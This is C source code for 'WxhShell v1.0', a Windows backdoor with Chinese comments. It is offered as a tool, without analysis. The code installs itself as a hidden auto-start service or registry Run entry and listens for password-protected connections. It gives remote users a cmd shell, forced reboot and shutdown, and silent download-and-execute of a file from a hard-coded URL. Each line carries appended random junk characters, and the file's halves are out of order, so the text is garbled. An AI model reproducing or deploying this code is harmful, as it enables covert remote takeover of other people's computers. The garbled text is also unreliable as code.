    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 2SlI5+u  
    if(Boot(SHUTDOWN)) N$u: !  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 1?G%&X@ X  
    else { lUw=YM  
    closesocket(wsh); 4~2 9,  
    ExitThread(0); t_+owiF)M  
    } B_RF)meux  
    break; &ViK9  
    } lHE \Z`  
  // 获取shell R0K{wY58  
  case 's': { AEUR` .  
    CmdShell(wsh); O^_CqT%  
    closesocket(wsh); &#OF,_6"m  
    ExitThread(0); [MD"JW?4B  
    break; AqH GBH0  
  } w*X(bua@  
  // 退出 <YrsS-9  
  case 'x': { (-VH=,Md  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); dJ>tM'G  
    CloseIt(wsh); 8!MVDp[|"  
    break; OHv9|&Tpl  
    } V6B[eV$D  
  // 离开 { T<[-"h  
  case 'q': { {U4{v=,!I  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6XnUs1O  
    closesocket(wsh); o\fPZ`p-m~  
    WSACleanup(); RFq=`/>dG  
    exit(1); X.ZG-TC  
    break; i O$ ?No  
        } [7  t  
  } C8=rsh  
  } /l8w b~vl  
l~[ K.p&  
  // 提示信息 7^1K4%IPl  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); tH:?aP*2  
} EJNHZ<  
  } 5acC4v!T  
#TcX5  
  return; yZb})4.  
} r]Lj@0F>8  
Oq(FV[N7t  
// shell模块句柄 _qH]OSo  
int CmdShell(SOCKET sock) @c}Gw;e  
{ }N:QB}7'_  
STARTUPINFO si; y,`q6(&  
ZeroMemory(&si,sizeof(si)); ygd*zy9  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; O9RnS\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ry+|gCZ  
PROCESS_INFORMATION ProcessInfo; _>^Y0C[?5  
char cmdline[]="cmd"; }H/94]~tH  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e0IGx]5i  
  return 0; QBA{*@ A-  
} Z{2QDjAI;  
,+x\NY2d  
// 自身启动模式 hl2|Ec  
int StartFromService(void) @KJmNM1]V  
{ &a6-+r  
typedef struct X5= Ki $+  
{ [ C!m,4  
  DWORD ExitStatus; X?]Mzcu  
  DWORD PebBaseAddress; v7v>  
  DWORD AffinityMask; q?8#D  
  DWORD BasePriority; [q^pMH#U"  
  ULONG UniqueProcessId; !e~d,NIy  
  ULONG InheritedFromUniqueProcessId; aHPx'R  
}   PROCESS_BASIC_INFORMATION; Z/:W.*u  
?.ofs}  
PROCNTQSIP NtQueryInformationProcess; ;zSV~G6-  
ebLt:gGo  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )iZhE"?z  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; zLPCWP.u  
c~d*SDca  
  HANDLE             hProcess; yr)e."#S  
  PROCESS_BASIC_INFORMATION pbi; '=d y =  
a, `B.I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); RK_z!%(P  
  if(NULL == hInst ) return 0; 8jiBLZkRf  
k8cR`5 @PK  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5nK|0vv%2  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 89W8cJ$yW  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); >n1UK5QD  
|=W>4>  
  if (!NtQueryInformationProcess) return 0; -*2b/=$u  
3Qp6$m  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); c~6ywuq+M`  
  if(!hProcess) return 0; I,V'J|=j  
bHzZ4i  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; "AIS6%,  
>f;oY9 {m  
  CloseHandle(hProcess); lxBcO/  
|r4&@)  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ,pW^>J  
if(hProcess==NULL) return 0; {@Z*.G^  
$$R- >  
HMODULE hMod; 8:]5H}H i  
char procName[255]; lg@q} ]1  
unsigned long cbNeeded; s yb$%  
Q?'Ax"$D  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); bf[l4$3k  
MN>U jFA  
  CloseHandle(hProcess); rWBgYh  
$<f+CtD4  
if(strstr(procName,"services")) return 1; // 以服务启动 ePxf.U  
Z eWst w7  
  return 0; // 注册表启动 Ge24Lp;Y 6  
} o/!a7>xO4  
C%P.`NxA  
// 主模块 7f~7vydZ}  
int StartWxhshell(LPSTR lpCmdLine) M F$NcU  
{ P[e#j  
  SOCKET wsl; 5=!aq\ 5  
BOOL val=TRUE; s ZokiFJ  
  int port=0; -Q1~lN m:  
  struct sockaddr_in door; b+BX >$  
vY,]f^F"  
  if(wscfg.ws_autoins) Install(); WhV>]B2+"  
:5:_Dr<  
port=atoi(lpCmdLine); w aDJ  
|8\et  
if(port<=0) port=wscfg.ws_port; h5))D!  
+:z%#D  
  WSADATA data; y|WOw(#  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; CS"p3$7,  
'b_SQ2+A  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   S_Vquw(+  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ?[lKft  
  door.sin_family = AF_INET; -AKbXkc~\  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); o7g6*hJz  
  door.sin_port = htons(port); ?\a';@h  
,Ne v7X[0  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { r\|"j8  
closesocket(wsl); XP65  
return 1; ";59,\6  
} u?8e>a  
puGy`9eKv1  
  if(listen(wsl,2) == INVALID_SOCKET) { -} +PE 4fh  
closesocket(wsl); !i=k=l=  
return 1; ,Lw '3  
} Uq2Qh@B  
  Wxhshell(wsl); &MP8.( u `  
  WSACleanup(); ~I%JVX%  
}iR!uhi#  
return 0; H3S u'3  
*Rj*%S  
} hhOrO<(  
e#4 iue7U  
// 以NT服务方式启动 !|#1z}(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) ;'|t>'0_  
{ glWa?#1  
DWORD   status = 0; /A`Ly p#  
  DWORD   specificError = 0xfffffff; YZp]vlm~  
\JZ'^P$Q  
  serviceStatus.dwServiceType     = SERVICE_WIN32; [m]O^Hp{{  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; [zl"G^z  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; PPNZ(j   
  serviceStatus.dwWin32ExitCode     = 0; p2Fi(BW*q  
  serviceStatus.dwServiceSpecificExitCode = 0; 71Mk!E=1  
  serviceStatus.dwCheckPoint       = 0; 4buzx&  
  serviceStatus.dwWaitHint       = 0; QBT_H"[  
NSAp.m   
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); v>mr  
  if (hServiceStatusHandle==0) return; |Oe$)(`|h  
L|w}#|-  
status = GetLastError(); O.P:~  
  if (status!=NO_ERROR) $e![^I]`  
{ dp>LhTLc  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; j [y+'O  
    serviceStatus.dwCheckPoint       = 0; (8.|q6Nww  
    serviceStatus.dwWaitHint       = 0; 'I)E.DoF  
    serviceStatus.dwWin32ExitCode     = status; t8b,@J`R  
    serviceStatus.dwServiceSpecificExitCode = specificError; cBnB(t%  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); L+" 5g@  
    return; '=m ?l  
  } 3 ?DM AV  
-o0~xspF  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; {-\VX2:;[9  
  serviceStatus.dwCheckPoint       = 0; )`]} D[j  
  serviceStatus.dwWaitHint       = 0; T WgI-xB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); "@E(}z'sM  
} =nN&8vRH  
WqRg/  
// 处理NT服务事件,比如:启动、停止 v\ Xk6k  
VOID WINAPI NTServiceHandler(DWORD fdwControl) <lVW; l7  
{ i6h , Aw3  
switch(fdwControl) E@\bFy_!>b  
{ ]#x? [ F  
case SERVICE_CONTROL_STOP: B (dq$+4  
  serviceStatus.dwWin32ExitCode = 0; *Z"(K\1TH  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; |Xl,~-.  
  serviceStatus.dwCheckPoint   = 0; m.N/g,  
  serviceStatus.dwWaitHint     = 0; 0sKY;(  
  { Ot_xeg;7  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); P(za8l>  
  } ws$!-t4<(  
  return; t6O/Q0_  
case SERVICE_CONTROL_PAUSE: l]o&D))R  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }x1p~N+;  
  break; "5R8Zl+  
case SERVICE_CONTROL_CONTINUE: %8yX6`lH  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; P$i?%P~  
  break; |^E# cI  
case SERVICE_CONTROL_INTERROGATE: u!&Vbo? .B  
  break; *.9.BD9  
}; )fz<n$3|$#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ~;0J 4hR  
} p V^hZ.  
:K_JY   
// 标准应用程序主函数 }$|uIS  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) !jxz2Q  
{ {!hA^[}|  
^g2p!7  
// 获取操作系统版本 #b4Pn`[   
OsIsNt=GetOsVer(); @l:\Ka~TS  
GetModuleFileName(NULL,ExeFile,MAX_PATH); u;*Wc9>sU  
&Rx-zp&dJ  
  // 从命令行安装 ISuye2tExq  
  if(strpbrk(lpCmdLine,"iI")) Install(); 0@ 9em~  
64OgE!  
  // 下载执行文件 Vee`q.  
if(wscfg.ws_downexe) { D=nuK25  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 'WG%O7s.  
  WinExec(wscfg.ws_filenam,SW_HIDE); [/ E_v gZ  
} wDV%.Cc  
Yg6 f  
if(!OsIsNt) { g2WDa'{L  
// 如果时win9x,隐藏进程并且设置为注册表启动 TY3WP$u  
HideProc(); I)Dd"I  
StartWxhshell(lpCmdLine); lT3, G#(  
} "p~1| ?T  
else ~cSOni`  
  if(StartFromService()) s:y=X$&M  
  // 以服务方式启动 *a7&v3X  
  StartServiceCtrlDispatcher(DispatchTable); u@$C i/J*  
else u;Q'xuo3  
  // 普通方式启动 b;O|-2AR  
  StartWxhshell(lpCmdLine); nx >PZb  
+SSF=]4+  
return 0; }pa@qZXh  
} t*zBN!Wu_  
q|. X[~e|  
FU|c[u|z  
%K_[Bx{B  
=========================================== 6* /o  
H`$s63  
Ii,Lj1Q  
Z`5v6"Na  
;m3SlP{F  
1wl8  
" yU~OfwQ  
3cNF^?\=  
#include <stdio.h> }Z ws e%;  
#include <string.h> HUtuUX  
#include <windows.h> q*oUd/F8  
#include <winsock2.h> 1B;sSp.>  
#include <winsvc.h> 2rq)U+   
#include <urlmon.h> H|H!VPof]  
eM*@zo<-  
#pragma comment (lib, "Ws2_32.lib") 6U k[_)1  
#pragma comment (lib, "urlmon.lib") zR_#c3o  
!tT$}?Ano  
#define MAX_USER   100 // 最大客户端连接数 D^Bd>Ey4  
#define BUF_SOCK   200 // sock buffer 1Ig@gdmz  
#define KEY_BUFF   255 // 输入 buffer j1)HIQE|5f  
RbJ,J)C>  
#define REBOOT     0   // 重启 A|V |vT7cb  
#define SHUTDOWN   1   // 关机 hmOhXE[ a&  
t>h<XPJi  
#define DEF_PORT   5000 // 监听端口 SR#X\AWM  
N&!qu r \  
#define REG_LEN     16   // 注册表键长度 WKFmU0RK  
#define SVC_LEN     80   // NT服务名长度 [g_Cg=J  
Z_Ox'  
// 从dll定义API /YWoDHL  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); nl|}_~4U  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); m Kwhd} V  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); dQR2!yHEq  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K4i#:7r'b  
XX5 ):1  
// wxhshell配置信息 sH(AsKiNKe  
struct WSCFG { >WMH.5p  
  int ws_port;         // 监听端口 kEtYuf^  
  char ws_passstr[REG_LEN]; // 口令 |*0oz=  
  int ws_autoins;       // 安装标记, 1=yes 0=no 5r qjqfFa  
  char ws_regname[REG_LEN]; // 注册表键名 yG5T;O&  
  char ws_svcname[REG_LEN]; // 服务名 "PBUyh-Z  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 t+k"$zR  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 #~54t0|Cd>  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 }*m:zD@8$  
int ws_downexe;       // 下载执行标记, 1=yes 0=no 9N|O*h1;u  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" c xdhG"  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 2+Z2`k]AC  
iKa}@U  
}; m& DDz+g  
B&_62`  
// default Wxhshell configuration /_?E0 r  
struct WSCFG wscfg={DEF_PORT, >A|6 kzC  
    "xuhuanlingzhe", h3D8eR.  
    1, *Wv]DV=\  
    "Wxhshell", ,8g~,tMr+  
    "Wxhshell", XB-pOtVm  
            "WxhShell Service", zPU& }7  
    "Wrsky Windows CmdShell Service", A+3@N99HeH  
    "Please Input Your Password: ", 6I(y`pJ  
  1, Zr_{Z@IpU  
  "http://www.wrsky.com/wxhshell.exe", MI|DOp  
  "Wxhshell.exe" C_?L$3 U0  
    }; ]`&EB~K&NY  
*A`hKx  
// 消息定义模块 | QJ!5nb  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; G8@({EY  
char *msg_ws_prompt="\n\r? for help\n\r#>"; %O;"Z`I  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; iLn)Z0<\o  
char *msg_ws_ext="\n\rExit."; b7{)B?n  
char *msg_ws_end="\n\rQuit."; LbtcZ)D!  
char *msg_ws_boot="\n\rReboot..."; Dg/&m*Yl  
char *msg_ws_poff="\n\rShutdown..."; L@w|2  
char *msg_ws_down="\n\rSave to "; AZxx%6  
A"k6n\!n;  
char *msg_ws_err="\n\rErr!"; Aj.TX%}`h  
char *msg_ws_ok="\n\rOK!"; nI%0u<=d  
;Br8\2=$  
char ExeFile[MAX_PATH]; kssS,Ogf\_  
int nUser = 0; zv!%u=49  
HANDLE handles[MAX_USER]; $BG4M?Y  
int OsIsNt; y@'8vOh`  
{IJV(%E   
SERVICE_STATUS       serviceStatus; +/7UM x1  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; {%@zQ|OO0  
[a\:K2*'  
// 函数声明 Lw?4xerLsb  
int Install(void); =L9sb!  
int Uninstall(void); 8Vv"'CU#  
int DownloadFile(char *sURL, SOCKET wsh); ' eO 4h^  
int Boot(int flag); &}VGC=F;d  
void HideProc(void); <O&L2E @~f  
int GetOsVer(void); ZebXcT ,41  
int Wxhshell(SOCKET wsl); ,IxAt&kN  
void TalkWithClient(void *cs); q"'^W<i  
int CmdShell(SOCKET sock); zuWj@YG\.  
int StartFromService(void); xj)*K%re  
int StartWxhshell(LPSTR lpCmdLine); ,:G.V  
3k5OYUk  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); "8J$7g@n@  
VOID WINAPI NTServiceHandler( DWORD fdwControl );  |X`xJL  
:#"gQ^YNp  
// 数据结构和表定义 /}r%DND'  
SERVICE_TABLE_ENTRY DispatchTable[] = \y{Bnp5h  
{ @P6K`'.0  
{wscfg.ws_svcname, NTServiceMain}, U^?/nRZ  
{NULL, NULL} M ZZ4  
}; Z&@X4X"q  
=- ~82%  
// 自我安装 MFaK=1  
int Install(void) ]<A|GY0q1  
{ Z,qo jtw  
  char svExeFile[MAX_PATH]; [ECSJc&i  
  HKEY key; }]N7CWy  
  strcpy(svExeFile,ExeFile); 7qV_QZ!.  
bqN({p&  
// 如果是win9x系统,修改注册表设为自启动 xIf,1g@Cq9  
if(!OsIsNt) { 1[C,*\X8v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { j./3)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); g4&zBn  
  RegCloseKey(key); X3#|9  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1j# ~:=I  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Lg[*P8wE  
  RegCloseKey(key); ..3TB=Z#  
  return 0; MQ5#6 vJ  
    } x"K<@mR5G  
  } _\>?.gg$  
} NQ !t`  
else { ;#I(ucB<  
-RVwPY  
// 如果是NT以上系统,安装为系统服务 "2}04b|"  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 6 9ia #  
if (schSCManager!=0) U_m<W$"HF  
{ m.EI("n"J  
  SC_HANDLE schService = CreateService Gn #5zx#l  
  ( 1]aM)},  
  schSCManager, QK<sibDI  
  wscfg.ws_svcname, ~;QO`I=0P  
  wscfg.ws_svcdisp, PQ<""_S||  
  SERVICE_ALL_ACCESS, 1mgLH  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , v$s3f|Y  
  SERVICE_AUTO_START, F:x" RbbF  
  SERVICE_ERROR_NORMAL, cP`f\\c  
  svExeFile, JGX E{FT  
  NULL, _W/s=pCh  
  NULL, f ySzZ  
  NULL, hf^,  
  NULL, Y[i>  
  NULL di>"\On-  
  ); 2B3H -`  
  if (schService!=0) ! pR&&uG  
  { J"yO\Y  
  CloseServiceHandle(schService); )&+j#:  
  CloseServiceHandle(schSCManager); UGj!I  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); ZK1d3  
  strcat(svExeFile,wscfg.ws_svcname); r@f8-!{s2h  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { >y"W(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); q|b#=Af]g  
  RegCloseKey(key); '}e_8 FS  
  return 0; m"<0sqD;  
    } fQ=Yf?b  
  } E#v}//  
  CloseServiceHandle(schSCManager); z4b2t}  
} w<<>XIL  
} n'9Wl'  
fchsn*R%-  
return 1; n@XI$>B  
} B^P)(Nu+  
]@vX4G/  
// 自我卸载  #8MA+  
int Uninstall(void) tq H7M0Ry  
{ __teh>MC  
  HKEY key; ^Wo/vm*]  
[5e}A&  
if(!OsIsNt) { sI7d?+  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { vm"LPwSk>  
  RegDeleteValue(key,wscfg.ws_regname); z6]dF"N  
  RegCloseKey(key); >0Y >T6!  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { x :\+{-  
  RegDeleteValue(key,wscfg.ws_regname); ^.p({6H  
  RegCloseKey(key); ^90';ACFy  
  return 0; D+P(  
  } N9tH0  
} BaZ$pO^  
} 'FgBYy/  
else { _t|| v  
X0Y1I}gD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ,Md8A`7x~  
if (schSCManager!=0) $wg5q\Rv  
{ N4I`6uDgD  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); d00#;R  
  if (schService!=0) uf]S PG#/D  
  { f6vhW66:?x  
  if(DeleteService(schService)!=0) { njtz,qt_;G  
  CloseServiceHandle(schService); "XlNKBgM  
  CloseServiceHandle(schSCManager); 6=U81  
  return 0; DDQ}&`s  
  } JFH3)Q  
  CloseServiceHandle(schService); |tIr?nXSW3  
  } ug{@rt/"Z  
  CloseServiceHandle(schSCManager); ~~a,Fyko2  
} ]$Pl[Vegy  
} x? tC2L  
1DgR V7  
return 1; WvR-0>E  
} \(2w/~  
(hNTr(z  
// 从指定url下载文件 rR]U Ff  
int DownloadFile(char *sURL, SOCKET wsh) {L~j;p_G&  
{ +wc8rE6+W  
  HRESULT hr; 0gO_dyB  
char seps[]= "/"; mivb}cKM  
char *token; rV84?75( Y  
char *file; <}t~^E,  
char myURL[MAX_PATH]; J9eOBom8e<  
char myFILE[MAX_PATH]; YbtsJ <w  
g xY6M4  
strcpy(myURL,sURL); 3}dTbr4y  
  token=strtok(myURL,seps); i0Ejo;dB  
  while(token!=NULL) Su?e\7aj  
  { k#F |  
    file=token; s|F}Abx,^  
  token=strtok(NULL,seps); ?C)a0>L  
  } fn.KZ  
2 j.6  
GetCurrentDirectory(MAX_PATH,myFILE); 2?P H||  
strcat(myFILE, "\\"); %jk7JDvl  
strcat(myFILE, file); ~hD!{([  
  send(wsh,myFILE,strlen(myFILE),0); n2} (Pt.  
send(wsh,"...",3,0); >*s_)IH2  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); EP,j+^RVf  
  if(hr==S_OK) X3e&c  
return 0; 2[~|#0x  
else Em)U`"j/9  
return 1; S&/,+x'c|  
_PT5  
} ?M!Mb-C[  
94^)Ar~O  
// 系统电源模块 T5nBvSVv'  
int Boot(int flag) 9gq+,g>E_  
{ J,4,#2M8  
  HANDLE hToken; QO2@K1Y  
  TOKEN_PRIVILEGES tkp; (xpt_]Q!H  
J^<Gi/:*^  
  if(OsIsNt) { Drm#z05i[g  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); RO+ jVY~H-  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Ov8^6O  
    tkp.PrivilegeCount = 1; QN47+)cVt"  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; 8tfM,.]_i  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); '41'Gn  
if(flag==REBOOT) { OQW%nF9~  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) |w5m2Z  
  return 0; S[ch/  
} L~oy|K67  
else { "<Ozoo1&w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) L4O.=*P1  
  return 0; fGZ56eH:  
} &Va="HNKt  
  } E{;F4wT_@  
  else { v[;R(pt?  
if(flag==REBOOT) { ) >;7"v  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) }NjZfBQW`  
  return 0; Ri>4:V3K  
} nTsKJX%\  
else { Pi+pQFz5  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %k%%3L,  
  return 0; ES-V'[+jDy  
} T:T`M:C.  
} K|pg'VT"  
[ Y+Ta,  
return 1; !3F3E8%  
} Su/8P[q_  
{W+IUvn  
// win9x进程隐藏模块 vf&_ N  
void HideProc(void) RW{y.WhB  
{ U$yy7}g  
QC,fyw\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); x~Y{ {  
  if ( hKernel != NULL ) H;nEU@>"Z  
  { 'C4cS[1  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); LBxmozT  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Hr_5N,  
    FreeLibrary(hKernel); {V,aCr  
  } {Qi J-[q  
:)Pj()Os|  
return; N0DzFXp  
} :KmnwYm  
&(7=NAQsE  
// 获取操作系统版本 dI%?uk  
int GetOsVer(void) 6k_Uq.<X  
{ i0:1+^3^U  
  OSVERSIONINFO winfo; 7s0\`eXo/  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); y'aK92pF:  
  GetVersionEx(&winfo); cX!C/`ew>  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) WNY:HH  
  return 1; NnH]c+  
  else NSa6\.W)  
  return 0; zO`4W!x&  
} @(bg#  
C.BlB  
// 客户端句柄模块 2HUw^ *3  
int Wxhshell(SOCKET wsl) }?\^^v h7  
{ 8.,d`~  
  SOCKET wsh; P_4E<"eK  
  struct sockaddr_in client; 5JHWt<n{P  
  DWORD myID; V/3@iOwD  
7u{V1_ n1  
  while(nUser<MAX_USER) ^Q6?T(%$  
{ 2E8G 5?qe)  
  int nSize=sizeof(client); @U3:9~Q  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); {d XTj7  
  if(wsh==INVALID_SOCKET) return 1; N4#D&5I",  
zauDwV=  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); l A%FS]vh  
if(handles[nUser]==0) 7Db}bDU1 |  
  closesocket(wsh); Jd^Lnp6?  
else T|8:_4/l  
  nUser++; iC3C~?,7  
  } qA;Gl"HF  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); &wAVO_s  
Kt](|  
  return 0; m/Erw"Z  
} hq&|   
@DIEENiM  
// 关闭 socket 35Fxzj $  
void CloseIt(SOCKET wsh) 42~.N =2  
{ 55 '  
closesocket(wsh); Y)@Y$_  
nUser--; EK= y!>  
ExitThread(0); [UXN= 76N  
} T/A2Y+@N;  
2"HTD|yy  
// 客户端请求句柄 ZNne 8  
void TalkWithClient(void *cs) /vq$/  
{ dQ:F5|p  
P1AC2<H  
  SOCKET wsh=(SOCKET)cs; XUzOt_L5<  
  char pwd[SVC_LEN]; p^|6 /b  
  char cmd[KEY_BUFF]; NT0n [o^  
char chr[1]; ]J[d8S5  
int i,j; S)g:+P  
81"` B2  
  while (nUser < MAX_USER) { }K8e(i6z  
LPBa!fq  
if(wscfg.ws_passstr) { Ui!l3_O  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); d)S`.Q  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); RyP MzxV  
  //ZeroMemory(pwd,KEY_BUFF); I?S t}Tl  
      i=0; 5D.Sg;\  
  while(i<SVC_LEN) { j g//I<D  
Q^ZM|(s#  
  // 设置超时 ]Zt]wnL+  
  fd_set FdRead; Q5ff&CE  
  struct timeval TimeOut; JOpH Z?  
  FD_ZERO(&FdRead); T>]T=  
  FD_SET(wsh,&FdRead); s;YbZ*oaMe  
  TimeOut.tv_sec=8; {1Y @%e  
  TimeOut.tv_usec=0;  od{\z  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 4d%0a%Z  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); q\}+]|nGs  
,cL;,YN  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 5@%.wb4  
  pwd=chr[0]; 4uzMO<  
  if(chr[0]==0xd || chr[0]==0xa) { {aNpk,n  
  pwd=0; 8q%y(e  
  break; "!D y[J  
  } ^~I@]5Pq  
  i++; +}N'Xa/Jt  
    } t/Y0e#9,  
Bcarx<P-p  
  // 如果是非法用户,关闭 socket 4xEw2F  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); mE`qA*=?  
} SOq:!Qt  
b~}$Ch3ymW  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); |4g0@}nr+W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); /W)A[jR  
=qc+sMo  
while(1) { hO&b\#@~  
CxeW5qc  
  ZeroMemory(cmd,KEY_BUFF); `:Gzjngc  
JC%&d1  
      // 自动支持客户端 telnet标准   4MS#`E7LrC  
  j=0; s :7/\h  
  while(j<KEY_BUFF) { h Fik>B#!  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 0W}qp?  
  cmd[j]=chr[0]; 'St6a*  
  if(chr[0]==0xa || chr[0]==0xd) { ) PTvw>  
  cmd[j]=0; ZaU8eg7  
  break;  k`Ifl)  
  } -1Dq_!i  
  j++; p d#Sn+&rf  
    } 'Zp{  
i ? ~-%  
  // 下载文件 n'v\2(&uYN  
  if(strstr(cmd,"http://")) { -z~!%4 a  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Ac|\~w[\  
  if(DownloadFile(cmd,wsh)) iW^J>aKy  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); dgF%&*Il]O  
  else S@qR~_>a  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); E Izy  
  } P2a5<#_|  
  else { I7oA7@zv  
Q}|K29Y:p  
